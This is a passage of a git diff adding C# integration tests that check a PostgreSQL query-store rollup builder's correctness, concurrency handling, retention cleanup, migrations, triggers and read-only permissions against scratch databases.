+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, replica_role,
+ runtime_stats_interval_id, interval_start_time_utc)
+SELECT t.ct, s.server_id, 'db' || (q % 2), q, q * 10 + p,
+       CASE WHEN (h + m + q + p) % 11 = 0 THEN 'Aborted' WHEN (h + m + q + p) % 13 = 0 THEN 'Exception' ELSE 'Regular' END,
+       t.ct - interval '3 minutes', t.ct,
+       CASE WHEN q IN (3, 6) THEN NULL ELSE 'mod' || (q % 3) END,
+       CASE WHEN q = 5 THEN NULL ELSE 'hash' || q END,
+       CASE WHEN (h + m + p) % 17 = 0 AND q <> 1 THEN NULL WHEN q = 1 THEN 2000000 ELSE ((h + m + q + p) * 100 + 1)::bigint END,
+       CASE WHEN (h + m + q) % 7 = 0 AND q <> 1 THEN NULL WHEN q = 1 THEN 3000000000000::bigint ELSE ((h * 1000 + m * 37 + q * 13 + p) * 1000)::bigint END,
+       CASE WHEN (h + q) % 5 = 0 AND q <> 1 THEN NULL ELSE ((h + m + q) * 523 + p)::bigint END,
+       ((h + 1) * 997 + m + q)::bigint, CASE WHEN (m + q) % 4 = 0 THEN NULL ELSE ((h + 2) * 311 + m * q)::bigint END,
+       NULL,
+       ((((h * 12 + m) * 3 + s.k) * 6 + q) * 3 + p), t.ct - interval '10 minutes'
+FROM generate_series(0, 29) AS h
+CROSS JOIN generate_series(0, 11) AS m
+CROSS JOIN (VALUES (1, 0), (2, 1), (3, 2)) AS s (server_id, k)
+CROSS JOIN generate_series(1, 6) AS q
+CROSS JOIN generate_series(1, 3) AS p
+CROSS JOIN LATERAL (SELECT TIMESTAMP '{At(hourNow)}' - interval '30 hours' + h * interval '1 hour' + m * interval '5 minutes' AS ct) AS t", ct);
+
+    /// <summary>Builds every hour that is due, tick by tick, and returns how many hours were built.</summary>
+    private static async Task<int> BuildAllAsync(NpgsqlDataSource source, CancellationToken ct)
+    {
+        var total = 0;
+        for (var guard = 0; guard < 20; guard++)
+        {
+            var result = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, result.Failed);
+            if (result.Built == 0)
+            {
+                return total;
+            }
+
+            total += result.Built;
+        }
+
+        throw new InvalidOperationException("the builder never ran out of hours");
+    }
+
+    /// <summary>
+    /// Rows where the rollup and the same aggregates over the wide table differ, for the built window. The wide side's select list is the
+    /// map's FactExpression, so a map entry cannot drift from the builder; the comparison is as TEXT, so a numeric that lost a digit shows.
+    /// </summary>
+    internal static async Task<long> MismatchesAsync(NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken ct)
+    {
+        var map = QueryStoreComposeStamp.PartialColumnMap;
+        var select = string.Join(", ", map.Select((c, i) => c.FactExpression + " AS c" + i.ToString(CultureInfo.InvariantCulture)));
+        var diffs = string.Join(" OR ", map.Select((c, i) => $"w.c{i}::text IS DISTINCT FROM r.{c.Column}::text"));
+        var sql = $@"
+SELECT count(*)
+FROM
+(
+    SELECT f.collection_time, f.server_id, f.database_name, f.module_name, f.query_hash, {select}
+    FROM collect.query_store_interval_wide AS f
+    WHERE f.collection_time >= TIMESTAMP '{At(from)}' AND f.collection_time < TIMESTAMP '{At(to)}'
+    GROUP BY f.collection_time, f.server_id, f.database_name, f.module_name, f.query_hash
+) AS w
+FULL JOIN
+(
+    SELECT * FROM collect.query_store_compose_stamp
+    WHERE collection_time >= TIMESTAMP '{At(from)}' AND collection_time < TIMESTAMP '{At(to)}'
+) AS r
+  ON r.collection_time = w.collection_time AND r.server_id = w.server_id
+ AND r.database_name IS NOT DISTINCT FROM w.database_name AND r.module_name IS NOT DISTINCT FROM w.module_name
+ AND r.query_hash IS NOT DISTINCT FROM w.query_hash
+WHERE w.collection_time IS NULL OR r.collection_time IS NULL OR {diffs}";
+        return await CountAsync(connection, sql, ct);
+    }
+
+    internal static Task<long> StalePairsAsync(NpgsqlConnection connection, CancellationToken ct) => CountAsync(connection, @"
+SELECT count(*) FROM collect.query_store_compose_stamp_built AS b
+JOIN collect.query_store_compose_stamp_hours AS h ON h.hour = b.hour
+WHERE b.built_seq IS DISTINCT FROM b.late_seq", ct);
+
+    internal static Task<string> StaleListAsync(NpgsqlConnection connection, CancellationToken ct) => TextAsync(connection, @"
+SELECT COALESCE(string_agg(b.server_id || '@' || to_char(b.hour, 'YYYY-MM-DD HH24'), ',' ORDER BY b.server_id, b.hour), '')
+FROM collect.query_store_compose_stamp_built AS b
+JOIN collect.query_store_compose_stamp_hours AS h ON h.hour = b.hour
+WHERE b.built_seq IS DISTINCT FROM b.late_seq", ct);
+
+    internal static string Pair(int server, DateTime hour) => server.ToString(CultureInfo.InvariantCulture) + "@" + hour.ToString("yyyy-MM-dd HH", CultureInfo.InvariantCulture);
+
+    private static Task InsertRowAsync(NpgsqlConnection connection, int serverId, DateTime collectionTime, long interval, CancellationToken ct) => ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, runtime_stats_interval_id)
+VALUES (TIMESTAMP '{At(collectionTime)}', {serverId}, 'dbX', 99, 99, 'Regular', TIMESTAMP '{At(collectionTime.AddMinutes(-3))}', TIMESTAMP '{At(collectionTime)}',
+        'modX', 'hashX', 7, 1000, 500, 2000, 900, {interval})", ct);
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection, NpgsqlDataSource Source, DateTime HourNow)> ArrangeAsync(CancellationToken ct, int servers = 3)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var connection = await MigratedAsync(scratch, ct);
+        for (var s = 1; s <= servers; s++)
+        {
+            await EnrollAsync(connection, s, ct);
+        }
+
+        var hourNow = ThisHour();
+        await SeedAsync(connection, hourNow, ct);
+        await ComposeStampLiveSupport.SeedPrecisionRowsAsync(connection, hourNow, ComposeStampLiveSupport.PrecisionSpot.Built, ct);
+        var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+        Assert.Equal(28, await BuildAllAsync(source, ct));
+        await ComposeStampLiveSupport.AssertPrecisionRowsHaveTeethAsync(connection, ct);
+        return (scratch, connection, source, hourNow);
+    }
+
+    [Fact]
+    public async Task AfterTheBuild_EveryRollupColumnEqualsTheSameAggregateOverTheWideTable_AsText_AndTheGrainIsUnique()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            var from = hourNow.AddHours(-30);
+            var to = hourNow.AddHours(-2);
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp", ct) > 1000);
+            Assert.Equal(0, await MismatchesAsync(connection, from, to, ct));
+
+            /* Not generated from the map: the totals, and the shapes the seed was built to cover. */
+            Assert.Equal(
+                await CountAsync(connection, $"SELECT sum(execution_count) FROM collect.query_store_interval_wide WHERE collection_time >= TIMESTAMP '{At(from)}' AND collection_time < TIMESTAMP '{At(to)}'", ct),
+                await CountAsync(connection, "SELECT sum(ec_sum) FROM collect.query_store_compose_stamp", ct));
+            Assert.Equal(
+                await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_wide WHERE collection_time >= TIMESTAMP '{At(from)}' AND collection_time < TIMESTAMP '{At(to)}'", ct),
+                await CountAsync(connection, "SELECT sum(wide_rows) FROM collect.query_store_compose_stamp", ct));
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp WHERE dur_wsum > 9223372036854775807", ct) > 0, "a weighted sum past a bigint");
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp WHERE module_name IS NULL", ct) > 0);
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp WHERE query_hash IS NULL", ct) > 0);
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp WHERE ec_count < wide_rows", ct) > 0, "a NULL execution_count is counted out");
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_interval_wide WHERE execution_type_desc IN ('Aborted', 'Exception')", ct) > 0);
+            Assert.True(await CountAsync(connection, "SELECT count(*) FROM collect.query_store_interval_wide WHERE avg_duration_us IS NULL", ct) > 0);
+
+            /* The grain is unique, and every server-hour of the rollup has a current pair. */
+            Assert.Equal(0, await CountAsync(connection, @"SELECT count(*) FROM (SELECT 1 FROM collect.query_store_compose_stamp
+                GROUP BY collection_time, server_id, database_name, module_name, query_hash HAVING count(*) > 1) AS d", ct));
+            Assert.Equal(0, await StalePairsAsync(connection, ct));
+            Assert.Equal(0, await CountAsync(connection, @"SELECT count(*) FROM (SELECT DISTINCT server_id, date_trunc('hour', collection_time) AS hour FROM collect.query_store_compose_stamp) AS k
+                LEFT JOIN collect.query_store_compose_stamp_built AS b ON b.server_id = k.server_id AND b.hour = k.hour
+                WHERE b.built_seq IS DISTINCT FROM b.late_seq OR b.server_id IS NULL", ct));
+            Assert.Equal(28, await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp_hours", ct));
+
+            /* A tick with nothing due builds nothing; the newest builds were the youngest due hour. */
+            Assert.Equal(0, await BuildAllAsync(source, ct));
+            Assert.Equal(hourNow.AddHours(-3), Convert.ToDateTime(await TextAsync(connection, "SELECT max(hour) FROM collect.query_store_compose_stamp_hours", ct), CultureInfo.InvariantCulture));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await source.DisposeAsync();
+            await connection.DisposeAsync();
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task AReplayedRow_AndAnUpdateThatMovesARowOutOfABuiltHour_MakeTheirPairStale_AndARebuildMakesItCurrent()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* The youngest hour the builder does is three hours old: the row below lands in an hour that is only just past the lag, which is
+               why the trigger's offset is the one hour and not three (the red-plant). */
+            var youngest = hourNow.AddHours(-3);
+            var older = hourNow.AddHours(-10);
+            await InsertRowAsync(connection, 1, youngest.AddMinutes(55), 9_000_001, ct);
+            Assert.Equal(Pair(1, youngest), await StaleListAsync(connection, ct));
+
+            /* Move a server-2 row out of an older built hour into the current hour (the open interval's refresh): the OLD hour is marked. */
+            await ExecAsync(connection, $@"
+UPDATE collect.query_store_interval_wide SET collection_time = TIMESTAMP '{At(hourNow.AddMinutes(5))}'
+WHERE ctid = (SELECT ctid FROM collect.query_store_interval_wide WHERE server_id = 2 AND collection_time >= TIMESTAMP '{At(older)}'
+                AND collection_time < TIMESTAMP '{At(older.AddHours(1))}' ORDER BY collection_time, query_id, plan_id LIMIT 1)", ct);
+            Assert.Equal(Pair(1, youngest) + "," + Pair(2, older), string.Join(",", (await StaleListAsync(connection, ct)).Split(',').OrderBy(x => x, StringComparer.Ordinal)).Replace(Pair(2, older) + "," + Pair(1, youngest), Pair(1, youngest) + "," + Pair(2, older), StringComparison.Ordinal));
+            Assert.True(await MismatchesAsync(connection, hourNow.AddHours(-30), hourNow.AddHours(-2), ct) > 0, "the stale pairs really are different from the wide table");
+
+            var result = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, result.Failed);
+            Assert.Equal(2, result.BuiltStale);
+            Assert.Equal(0, result.BuiltMissing);
+            Assert.Equal(0, await StalePairsAsync(connection, ct));
+            Assert.Equal(0, await MismatchesAsync(connection, hourNow.AddHours(-30), hourNow.AddHours(-2), ct));
+            Assert.Equal(0, await BuildAllAsync(source, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await source.DisposeAsync();
+            await connection.DisposeAsync();
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task ABuildThatRunsAtTheSameTimeAsALateWrite_LeavesThePairStale_ForAnExistingPairAndForANewOne()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, servers: 4);
+        var bodySucceeded = false;
+        try
+        {
+            var hour = hourNow.AddHours(-3);
+            await using var builder = await source.OpenConnectionAsync(ct);
+            await using var writer = new NpgsqlConnection(scratch.ConnectionString);
+            await writer.OpenAsync(ct);
+            Task? lateWrite = null;
+
+            /* Server 1's pair exists, and the build has already upserted it (step 4), so the writer's trigger has to bump a row the build holds: the writer waits for the commit. */
+            await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct, async () =>
+            {
+                lateWrite = InsertRowAsync(writer, 1, hour.AddMinutes(20), 9_000_002, ct);
+                for (var i = 0; i < 100 && await CountAsync(connection, "SELECT count(*) FROM pg_stat_activity WHERE datname = current_database() AND wait_event_type = 'Lock'", ct) == 0; i++)
+                {
+                    await Task.Delay(100, ct);
+                }
+
+                Assert.False(lateWrite.IsCompleted, "the late write should be waiting on the build's row lock");
+            });
+            await lateWrite!;
+            Assert.Equal(Pair(1, hour), await StaleListAsync(connection, ct));
+
+            /* Server 4 has no pair in this hour, so nothing to wait for: the writer commits its own new pair during the build. */
+            await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct, async () =>
+            {
+                await InsertRowAsync(writer, 4, hour.AddMinutes(25), 9_000_003, ct);
+                await Task.CompletedTask;
+            });
+            Assert.Equal(Pair(4, hour), await StaleListAsync(connection, ct));
+            Assert.True(await MismatchesAsync(connection, hour, hour.AddHours(1), ct) > 0, "the late rows are not in the rollup yet");
+
+            var result = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, result.Failed);
+            Assert.Equal(1, result.BuiltStale);
+            Assert.Equal(0, await StalePairsAsync(connection, ct));
+            Assert.Equal(0, await MismatchesAsync(connection, hour, hour.AddHours(1), ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await source.DisposeAsync();
+            await connection.DisposeAsync();
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task TheCleanup_RemovesAllThreeTablesBelowTheFloor_AndKeepsTheRest()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            var now = DateTime.UtcNow;
+            var floor = QueryStoreComposeStamp.FloorHour(now, RetentionDays);
+            foreach (var hour in new[] { floor.AddHours(-2), floor.AddHours(-1), floor, floor.AddHours(1) })
+            {
+                await ExecAsync(connection, $@"
+INSERT INTO collect.query_store_compose_stamp (collection_time, wide_rows, server_id) VALUES (TIMESTAMP '{At(hour.AddMinutes(7))}', 1, 1), (TIMESTAMP '{At(hour.AddMinutes(37))}', 1, 2);
+INSERT INTO collect.query_store_compose_stamp_built (server_id, hour, late_seq, built_seq) VALUES (1, TIMESTAMP '{At(hour)}', 0, 0), (2, TIMESTAMP '{At(hour)}', 0, 0);
+INSERT INTO collect.query_store_compose_stamp_hours (hour, built_at) VALUES (TIMESTAMP '{At(hour)}', now() AT TIME ZONE 'UTC')", ct);
+            }
+
+            /* A pair a late writer made for an hour the builder never did, below the floor. */
+            await ExecAsync(connection, $"INSERT INTO collect.query_store_compose_stamp_built (server_id, hour, late_seq) VALUES (3, TIMESTAMP '{At(floor.AddHours(-5))}', 1)", ct);
+
+            var removed = await QueryStoreComposeStamp.GcAsync(connection, now, RetentionDays, ct);
+            Assert.Equal(2, removed);
+            var floorLiteral = $"TIMESTAMP '{At(floor)}'";
+            Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp WHERE collection_time < {floorLiteral}", ct));
+            Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp_built WHERE hour < {floorLiteral}", ct));
+            Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp_hours WHERE hour < {floorLiteral}", ct));
+            Assert.Equal(4, await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp", ct));
+            Assert.Equal(4, await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp_built", ct));
+            Assert.Equal(2, await CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp_hours", ct));
+            Assert.Equal(0, await QueryStoreComposeStamp.GcAsync(connection, now, RetentionDays, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ASecondMigrate_AndASecondRunOfTheRungText_ChangeNothing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const string Fingerprint = @"
+SELECT md5(
+  (SELECT string_agg(pg_get_triggerdef(t.oid), '|' ORDER BY c.relname, t.tgname) FROM pg_trigger t JOIN pg_class c ON c.oid = t.tgrelid
+     WHERE NOT t.tgisinternal AND t.tgname LIKE 'trg_query_store_compose_stamp%')
+  || (SELECT pg_get_functiondef('collect.query_store_compose_stamp_mark_late'::regproc))
+  || (SELECT string_agg(table_name || '.' || column_name || ':' || data_type, '|' ORDER BY table_name, ordinal_position)
+        FROM information_schema.columns WHERE table_schema = 'collect' AND table_name LIKE 'query_store_compose_stamp%')
+  || (SELECT string_agg(indexdef, '|' ORDER BY indexname) FROM pg_indexes WHERE schemaname = 'collect' AND tablename LIKE 'query_store_compose_stamp%'))";
+            var before = await TextAsync(connection, Fingerprint, ct);
+            Assert.Equal(0, await PgMigrations.MigrateAsync(connection, ct));
+            await using (var transaction = await connection.BeginTransactionAsync(ct))
+            {
+                await using var command = new NpgsqlCommand(PgMigrations.Scripts[^1].Sql, connection, transaction) { CommandTimeout = 120 };
+                await command.ExecuteNonQueryAsync(ct);
+                await transaction.CommitAsync(ct);
+            }
+
+            Assert.Equal(before, await TextAsync(connection, Fingerprint, ct));
+            Assert.Equal(3, await CountAsync(connection, "SELECT count(*) FROM pg_class WHERE relnamespace = 'collect'::regnamespace AND relname LIKE 'query_store_compose_stamp%' AND relkind = 'r'", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task TheTriggers_AreOnTheParentAndOnEveryLeaf_IncludingLeavesMadeOrAttachedLater_AndALateRowThroughALeafMarks()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const string TriggersOf = "SELECT count(*) FROM pg_trigger WHERE tgrelid = '{0}'::regclass AND NOT tgisinternal AND tgname LIKE 'trg_query_store_compose_stamp_late_%'";
+            Assert.Equal(2, await CountAsync(connection, string.Format(CultureInfo.InvariantCulture, TriggersOf, "collect.query_store_interval_wide"), ct));
+            Assert.Equal(2, await CountAsync(connection, string.Format(CultureInfo.InvariantCulture, TriggersOf, "collect.query_store_interval_wide_legacy"), ct));
+
+            /* The maintenance pass promotes the legacy table, creates the day partitions and DEFAULT; each is a leaf made after the rung. */
+            var logger = NullLogger.Instance;
+            var wide = QueryStoreIntervalPartitions.Wide;
+            await QueryStoreIntervalPartitions.ArmAsync(connection, wide, DateTime.UtcNow, logger, ct);
+            await QueryStoreIntervalPartitions.ValidateAsync(connection, wide, DateTime.UtcNow, logger, ct);
+            await QueryStoreIntervalPartitions.PromoteAsync(connection, wide, DateTime.UtcNow, logger, ct);
+            await QueryStoreIntervalPartitions.CreateAheadAsync(connection, wide, DateTime.UtcNow, logger, ct);
+
+            var leaves = new List<string>();
+            await using (var command = new NpgsqlCommand("SELECT relid::regclass::text FROM pg_partition_tree('collect.query_store_interval_wide') WHERE isleaf", connection))
+            await using (var reader = await command.ExecuteReaderAsync(ct))
+            {
+                while (await reader.ReadAsync(ct))
+                {
+                    leaves.Add(reader.GetString(0));
+                }
+            }
+
+            Assert.True(leaves.Count >= 3, $"expected the legacy table, DEFAULT or day partitions, found {leaves.Count}");
+            foreach (var leaf in leaves)
+            {
+                Assert.Equal(2, await CountAsync(connection, string.Format(CultureInfo.InvariantCulture, TriggersOf, leaf), ct));
+            }
+
+            /* A leaf attached by hand later is cloned too. */
+            await ExecAsync(connection, "CREATE TABLE collect.qsiw_attached (LIKE collect.query_store_interval_wide INCLUDING DEFAULTS)", ct);
+            await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_wide ATTACH PARTITION collect.qsiw_attached FOR VALUES FROM ('2031-01-01') TO ('2031-01-02')", ct);
+            Assert.Equal(2, await CountAsync(connection, string.Format(CultureInfo.InvariantCulture, TriggersOf, "collect.qsiw_attached"), ct));
+
+            /* A late row written through the parent into a day leaf marks, and so does one aimed at a leaf directly. */
+            var oldHour = ThisHour().AddHours(-6);
+            await EnrollAsync(connection, 1, ct);
+            await InsertRowAsync(connection, 1, oldHour.AddMinutes(10), 9_100_001, ct);
+            Assert.Equal(1, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp_built WHERE server_id = 1 AND hour = TIMESTAMP '{At(oldHour)}' AND late_seq = 1", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task TheReadOnlyRoles_CanSelectTheThreeTables_WithNoGrantInTheRung()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        const string Role = "qs_stamp_reader_5582";
+        var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            Assert.DoesNotContain("GRANT", QueryStoreComposeStamp.CreateSql, StringComparison.Ordinal);
+            await ExecAsync(connection, "CREATE ROLE " + Role + " NOLOGIN", ct);
+            await ExecAsync(connection, "GRANT USAGE ON SCHEMA collect TO " + Role, ct);
+            await ExecAsync(connection, "ALTER DEFAULT PRIVILEGES FOR ROLE " + await TextAsync(connection, "SELECT current_user::text", ct) + " IN SCHEMA collect GRANT SELECT ON TABLES TO " + Role, ct);
+
+            /* The tables are created AFTER the role's default privileges: only the schema's defaults can give it the SELECT. */
+            await ExecAsync(connection, "DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_ins ON collect.query_store_interval_wide; DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_upd ON collect.query_store_interval_wide;"
+                + " DROP TABLE collect.query_store_compose_stamp_hours, collect.query_store_compose_stamp_built, collect.query_store_compose_stamp", ct);
+            await ExecAsync(connection, PgMigrations.Scripts[^1].Sql, ct);
+
+            await ExecAsync(connection, "SET ROLE " + Role, ct);
+            foreach (var table in new[] { QueryStoreComposeStamp.Table, QueryStoreComposeStamp.BuiltTable, QueryStoreComposeStamp.HoursTable })
+            {
+                Assert.Equal(0, await CountAsync(connection, "SELECT count(*) FROM " + table, ct));
+            }
+
+            await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, "DELETE FROM " + QueryStoreComposeStamp.Table, ct));
+            await ExecAsync(connection, "RESET ROLE", ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            try
+            {
+                await ExecAsync(connection, "RESET ROLE", CancellationToken.None);
+                await ExecAsync(connection, "DROP OWNED BY " + Role, CancellationToken.None);
+                await ExecAsync(connection, "DROP ROLE IF EXISTS " + Role, CancellationToken.None);
+            }
+            finally
+            {
+                await connection.DisposeAsync();
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreComposeStampRaceLiveTests.cs b/Darling/Darling.Tests/QueryStoreComposeStampRaceLiveTests.cs
new file mode 100644
index 0000000000..36c2d0e5ae
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreComposeStampRaceLiveTests.cs
@@ -0,0 +1,354 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.ComposeStampLiveSupport;
+using static Darling.Tests.QueryStoreComposeStampLiveTests;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 review round 1: the rollup builder's concurrency protocol against a real PostgreSQL store (<c>DARLING_TEST_PG</c>). The
+/// margin guard (a writing transaction that began inside the trigger's window defers the hour; a read-only one, or one that began
+/// after the window, does not), the store clock that bounds the plan, step 1's plain read of <c>late_seq</c> (a writer that bumped
+/// the pair and has not committed leaves it stale), the once-per-transaction mark and its savepoint, and two builders on one hour.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to CREATE and DROP its
+   own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+public sealed class QueryStoreComposeStampRaceLiveTests
+{
+    private static async Task<NpgsqlConnection> OpenAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    /// <summary>Polls until a backend of this database waits on a lock (the advisory lock or a row lock), or gives up after about 10 s.</summary>
+    private static async Task<bool> SomeoneWaitsOnALockAsync(NpgsqlConnection watcher, CancellationToken ct)
+    {
+        for (var i = 0; i < 100; i++)
+        {
+            if (await CountAsync(watcher, "SELECT count(*) FROM pg_stat_activity WHERE datname = current_database() AND wait_event_type = 'Lock'", ct) > 0)
+            {
+                return true;
+            }
+
+            await Task.Delay(100, ct);
+        }
+
+        return false;
+    }
+
+    private static Task<long> HourRowsAsync(NpgsqlConnection connection, DateTime hour, CancellationToken ct) => CountAsync(connection,
+        $"SELECT count(*) FROM collect.query_store_compose_stamp_hours WHERE hour = TIMESTAMP '{At(hour)}'", ct);
+
+    /// <summary>Gives a build connection a lock wait limit, so a build that waits where an old shape would wait forever (a row lock the
+    /// writer never releases, an advisory lock nobody has a reason to release) fails with an error instead of blocking the test host.</summary>
+    private static async Task BoundLockWaitsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SET lock_timeout = '10s'", connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private const string WritersSql = "SELECT count(*) FROM pg_stat_activity WHERE datname = current_database() AND backend_xid IS NOT NULL AND pid <> pg_backend_pid()";
+
+    [Fact]
+    public async Task AnOpenWritingTransactionThatBeganInsideTheMarginWindow_DefersTheHour_AndTheHourBuildsAfterItCommits()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* The hour before this one: its trigger margin (H + 2 h) is still ahead, so a row written into it now is unmarked. */
+            var hour = hourNow.AddHours(-1);
+            await using var writer = await OpenAsync(scratch, ct);
+            await using var builder = await source.OpenConnectionAsync(ct);
+            await using var open = await writer.BeginTransactionAsync(ct);
+            await InsertRowAsync(writer, 1, hour.AddMinutes(10), 9_100_001, ct);
+            /* The row is inside the trigger's window, so nothing marked it: no pair of the hour exists, and nothing else is stale. */
+            Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp_built WHERE hour = TIMESTAMP '{At(hour)}'", ct));
+            Assert.Equal(1, await CountAsync(connection, WritersSql, ct));
+
+            Assert.Null(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+            Assert.Equal(0, await HourRowsAsync(connection, hour, ct));
+            Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp WHERE collection_time >= TIMESTAMP '{At(hour)}'", ct));
+
+            await open.CommitAsync(ct);
+            Assert.NotNull(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+            Assert.Equal(1, await HourRowsAsync(connection, hour, ct));
